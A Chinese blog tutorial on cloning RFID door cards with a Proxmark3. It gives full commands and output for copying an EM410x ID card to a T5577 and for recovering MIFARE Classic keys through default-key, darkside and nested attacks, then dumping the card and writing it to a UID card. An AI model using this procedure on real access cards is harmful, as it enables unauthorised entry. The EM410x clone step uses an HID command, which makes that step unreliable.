Proxmark3 Easy破解门禁卡学习过程
前言
安全不仅仅包含网络上的安全,在我们实际生活中也同样存在很多个安全相关的事物,可以说跟科技扯上关系的事物都会有安全问题,无线,蓝牙,手机,无人机,汽车。真正有问题的不是安全,而是人心。很多事物的设计之初都是没有考虑安全问题的,因为人心的不坏好意迫使去考虑它的安全问题。
硬件准备
破解设备
Proxmark3 Easy
破解工具不一定是Proxmark3 Easy,只要是还能够获取和修改卡片数据的设备都可以,比如arc122u,arc122u只能读取和修改高频卡,有点不足
各种卡
准备一些ID,IC卡
这不都长一个样么(#-.-)
区分ID卡和IC卡的方法
- 光照法
圆形大多是ID卡,方形大多是IC卡 - NFC法
拿一部带有NFC功能的手机打开NFC,卡片靠近手机会响的是IC卡,不会响的是ID卡
知识准备
首先,门禁卡所用到的技术是RFID,具体详情可以看这里–>传送门,首先从频率上可以分为高频(13.56MHZ)和低频两种类型的卡,在这两个频率上又会分为多种类型的卡。常见的卡的有
类型 | 频率 | 特性 |
---|---|---|
Mifare S50(简称M1) | 高频 | 最常见的卡,每张卡有独一无二的UID号,可保存修改数据,常见学生卡,饭卡,公交卡,门禁卡 |
Mifare UltraLight(简称M0) | 高频 | 低成本卡,出厂固化UID,可储存修改数据,常见地铁卡,公交卡 |
Mifare UID(简称UID卡) | 高频 | M1卡的变异版本,可修改UID,国外叫做中国魔术卡,可以用来克隆M1 S50的数据 |
EM4XX(简称ID卡) | 低频 | 常用固化ID卡,出厂固化ID,只能读不能写(低成本门禁卡,小区门禁卡,停车场门禁卡) |
T5577(简称可修改ID卡) | 低频 | 可用来克隆ID卡,出厂为空卡,内有三区也可储存数据,个别三区科设置密码 |
HID ProxⅡ(简称HID卡) | 低频 | 美国常用的低频卡,可擦写,不与其他卡通用 |
高频
M1 S50卡
目前最常见的高频卡,也是我们口中俗称的IC卡。M1卡科储存的数据大小为8k,分为16个扇区,每个扇区分4个块,每个块为16个字节,以块为存取单位。每个扇区都有独立的一组密码及访问控制,每张卡有唯一的一个32位的序列号。每个扇区的0,1,2块为数据块,用来存储数据,第3块为控制块,包括了密A、存取控制、密码B
每张卡的第0扇区的第0块用来春芳厂商代码,不可更改。
扇区0 03332801198804008500b42ef0bb6aa8 块0 //厂商代码,不可更改
00000000000000000000000000000000 块1 //数据块
00000000000000000000000000000000 块2 //数据块
ffffffffffffff078069ffffffffffff 块3 //密码A(6字节),存储控制(4字节),密码B(6字节)
扇区1 00000000000000000000000000000000 块4 //出了第0扇区稍有不同,其他15个扇区结构完全一样
00000000000000000000000000000000 块5
00000000000000000000000000000000 块6
ffffffffffffff078069ffffffffffff 块7
.
.
.
扇区15 00000000000000000000000000000000 块60
00000000000000000000000000000000 块61
00000000000000000000000000000000 块62
ffffffffffffff078069ffffffffffff 块63
中间4字节控制字是管理密码权限,用来设置A密码和B密码的功能。默认不修改的时候,可以用A密码读写所有数据。A密码不可读出,B密码可以用A密码读出。密码不一定可以读取,由控制字决定。
M1 UID卡
M1 UID卡是针对M1 S50卡特制的变种卡,用起来和M1 S50完全一样,只是多了一个功能,就是0扇区块的数据可以随意修改。因此UID号也可以随意修改,厂家信息也可以随意修改。UID卡修改0扇区0块数据是靠指令进入工厂模式,可以直接对全卡任何数据编辑,不需要密码即可读写卡,同时不怕写坏卡,即使写错0块,写坏扇区控制字,也可以随时修复回来,不影响后续使用。
FUID卡
FUID卡是针对UID卡做的优化。新的读卡系统,通过检测卡片对特殊指令的回应,可以检测出UID卡,因此可以来拒绝UID卡的访问,来达到屏蔽复制卡的功能。FUID可以修改0块,但只可以修改一次,写错也没办法更改,也不能重复利用。修改后和M1卡完全一样,很难被屏蔽检测。
CUID卡
CUID卡是针对FUID卡做的优化。CUID卡可以重复修改0块,但是它和UID卡的区别是,UID卡是通过指令修改0块,CUID使用的是常规密码验证的方法写0块,其他扇区和标准M1卡相同。缺点是,还是有可能会被检测出来,而且如果不小心写错了UID号的校验位导致无法读卡,没办法修复只能报废。
低频
ID卡
ID卡是我们的俗称,内部芯片的全名叫做EM4100或EM41XX。每张卡出厂就有独一无二的ID号,不可改写。
T5577卡
T5577 卡是一种可以写入数据可以加密的低频卡。最特别之处是,写入ID号可以变身成为ID卡,写入HID号可以变身HID卡,写入Indala卡号,可以变身Indala卡。T5577一共有8个块,每个块只能存8位数。第0块是用来设置卡片类型和调制方式的,决定了卡片是ID卡还是HID卡,如果随意修改会导致读不到卡。最后一个块,在没有加密时是数据区,加密后,其数据就变成了密码。结构如下
0x00148040 00000000000101001000000001000000 [0]
0xFF94C004 11111111100101001100000000000100 [1]
0xA5464942 10100101010001100100100101000010 [2]
0xFFFFF808 11111111111111111111100000001000 [3]
0x0001C000 00000000000000011100000000000000 [4]
0x0001C000 00000000000000011100000000000000 [5]
0x0001C000 00000000000000011100000000000000 [6]
0x0001C000 00000000000000011100000000000000 [7]
破解
破解ID卡
安装驱动
驱动下载官网网址–>传送门
安装驱动文件前需要禁用驱动安装强制签名,方法–>传送门
驱动安装方法
我的电脑右键–>管理–>设备管理器–>端口下的设备右键–>更新驱动程序–>浏览我的计算机–>选择本地–>从磁盘安装–找到官方的驱动文件–>确认
驱动安装完成会显示图片上的样子,记住COM端口
硬件使用方法
Proxmark3 Easy
1 功能按钮
2 ABCD工作状态指示灯
3 USB接口
4 电源指示灯
5 低频读卡区
6 高频读卡区
功能按钮有退出
、取消
、停止
、强刷固件
的功能,ABCD指示灯作为设备运行的依据,闪烁说明正在进行,完全熄灭或者常亮代表攻击失败、等待。全部熄灭表示已经停止运行了,直接重新拔插设备。
破解方法
读卡片ID号→换上T5577卡→把ID号写入卡片→完成
ID是没有密码只有卡号的,因此只要知道卡号就可以复制。
软件资料包–>密码: f8q4
打开官方软件固件\pm3-bin-2.5.0\win32(client+GUI)\Proxmark Tool.exe
,箭头所指选择刚刚驱动安装的那个COM端口
,连接Proxmark3,接入电脑后,电源指示灯处POW
亮蓝灯,FULL
亮绿灯,CHR
闪烁微弱红灯。
在COMMAND TO SEND
里输入hw tune
测试天线谐振电压,高频超过5V,低频超过10V就可以正常使用。
proxmark3> hw tune
Measuring antenna characteristics, please wait........
# LF antenna: 22.27 V @ 125.00 kHz
# LF antenna: 31.76 V @ 134.00 kHz
# LF optimal: 31.76 V @ 133.33 kHz
# HF antenna: 20.17 V @ 13.56 MHz
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
把低频ID卡(门禁卡)放到低频读卡区输入lf search
获取ID卡的信息,把卡号抄下来,复制时要用
proxmark3> lf search
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : 0000001450 //ID卡号,这个抄下来,如果是HID卡会显示HID
Unique TAG ID : 000000280A
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8 : 00005200
DEZ 10 : 0000005200
DEZ 5.5 : 00000.05200
DEZ 3.5A : 000.05200
DEZ 3.5B : 000.05200
DEZ 3.5C : 000.05200
DEZ 14/IK2 : 00000000005200
DEZ 15/IK3 : 000000000010250
DEZ 20/ZK : 00000000000002080010
}
Other : 05200_000_00005200
Pattern Paxton : 1331792 [0x145250]
Pattern 1 : 16652 [0x410C]
Pattern Sebury : 5200 0 5200 [0x1450 0x0 0x1450]
Valid EM410x ID Found! //卡的类型
把T5577卡放到低频读卡区,输入命令lf hid clone 0000001450
proxmark3> lf hid clone 0000001450
Cloning tag with ID 000001450
proxmark3>
proxmark3> #db# DONE!
上述命令在左上方的命令树中都可以找到,左边有一些按钮和命令的介绍
ID卡复制就完成了
效果如下
破解IC卡
IC卡破解思路
获取任意扇区的密钥
- PRNG 漏洞攻击得 0 扇区密匙
- 默认密码扫描获得密匙
- 嗅探读卡机和卡片交互数据获得密匙
- 模拟成 M1 卡刷卡后捕获密匙(挑读卡机,兼容性不好)
↓
利用MFOC漏洞用已知扇区密钥求所有扇区密钥
↓
用破解出的密匙把卡片数据读出导入电脑
↓
把电脑中的数据写入UID卡中
第一步是最重要也是最难的一步,很多IC卡往往都是难以攻破0扇区的密钥而无法进行下一步。默认密码扫描看运气,PRNG漏洞攻击概率低,后面两个虽然概率高但是成本高且实施比较困难。
上面的Proxmark Tool
是官方英文版GUI,还有国内中文版GUI(Proxmark3_EASY_GUI),中文版的GUI比较简单,不用记很多命令,原生态PM3指令台
就是纯命令行模式,看起来也比较有逼格点。一开始我是根据资料用英文版的GUI,感觉不怎么好用,后来用了原生态后觉得原生态的好用多了,但是要记命令,命令忘记了就用中文GUI查命令ㄟ( ▔, ▔ )ㄏ。can't slect card
这个bug也是在用了原生态之后才知道的。
PRNG漏洞获取0扇区密钥,486固件不掉线外,630之后的固件,有些卡可以破,有卡些会掉线并出现can’t slect card
获取0扇区密钥
扯远了,默认密码扫描hf mf chk *1 ? t
proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block: 3, key type:A, key count:13
.
.
.
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
Found keys have been transferred to the emulator memory
密码是默认密码的时候可以扫的出来,不是默认密码可以尝试PRNG漏洞获取0扇区密钥hf mf mifare
proxmark3>hf mf mifare
.
.
.
uid(ea117dee) nt(431c39b0) par(0000000000000000) ks(030702000a030209) nr(800000005)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000005| 3 | 6 |0,0,0,0,0,0,0,0|
| 20 |00000025| 7 | 2 |0,0,0,0,0,0,0,0|
| 40 |00000045| 2 | 7 |0,0,0,0,0,0,0,0|
| 60 |00000065| 0 | 5 |0,0,0,0,0,0,0,0|
| 80 |00000085| a | f |0,0,0,0,0,0,0,0|
| a0 |000000a5| 3 | 6 |0,0,0,0,0,0,0,0|
| c0 |000000c5| 2 | 7 |0,0,0,0,0,0,0,0|
| e0 |000000e5| 9 | c |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...
p1:0 p2:0 p3:0 key:ffffffffffff
p1:58b87 p2:61ec p3:1 key:b4c98bd73e94
p1:c6a1b p2:d983 p3:2 key:576efc88ccc7
p1:ef844 p2:106dd p3:3 key:34ed3c6092e9
p1:f7e1e p2:10fd7 p3:4 key:2de06659d60e
p1:1239c0 p2:13fa0 p3:5 key:08b7558601a1
p1:12d1b3 p2:149c9 p3:6 key:00adbba1e330
key_count:7
------------------------------------------------------------------
Key found:ffffffffffff
Found valid key:ffffffffffff
因为设备是我小姐姐的,固件是630之后的,所以会出现很多#db# Mifare: Can't select card
,就放不了全部代码,查看固件命令hw version
proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: /-suspect 2016-11-09 00:59:56
#db# os: /-suspect 2016-12-08 12:45:38
#db# HF FPGA image built on 2015/03/09 at 08:41:42
#db# Modify by Willok(willok@163.com)
#db# proxmark3.taobao.com
uC: AT91SAM7S256 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory
Tip:固件版本是根据固件的日期来看的
我们可以测试一下我们拿到的密钥对不对,错误不会返回最下面那一行
proxmark3> hf mf chk 0 A ffffffffffff
chk key[ 0] ffffffffffff
--sector: 0, block: 0, key type:A, key count: 1
Found valid key:[ffffffffffff]
知一求十五
获取到0扇区的密钥后我们就可以通过MFOC漏洞获取所有扇区的密钥(100%成功)
proxmark3> hf mf nested 1 0 A ffffffffffff //0是0扇区,A密钥
Testing known keys. Sector count=16
nested...
Time in nested: 4.330 (inf sec per key)
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
接下来导出密钥
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
Time in nested: 4.302 (inf sec per key)
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
导出后会在根目录生成一个dumpkeys.bin的文件,里面存放了16个扇区的密钥(16进制)
导出数据
拿到密码后我们就可以导出卡上的数据到电脑里
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
.
.
.
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 0.
.
.
.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
同样16进制打开
因为是测试卡,所以里面就没什么数据ㄟ( ▔, ▔ )ㄏ。
写入UID卡
下一步把数据写进写UID卡
Proxmark3不能识别、使用bin文件,需要转换成eml格式
第一个方法是运行下面的命令转成eml格式
proxmark3> script run dumptoemul.lua
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file EA117DEE.eml
-----Finished
第二个方法是运行dump to EML.bat
脚本转成eml格式
写入到白卡(UID卡)上
proxmark3> hf mf cload dumpdata
Loaded from file: dumpdata.eml
写卡是没有回显的,只能通过读取的方式查看有没有读取成功,对比两张卡的数据就可以看到数据是一模一样的,克隆就完成了
IC卡破解不止这一种方法,能力和设备有限,以后有机会会继续学习下去
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!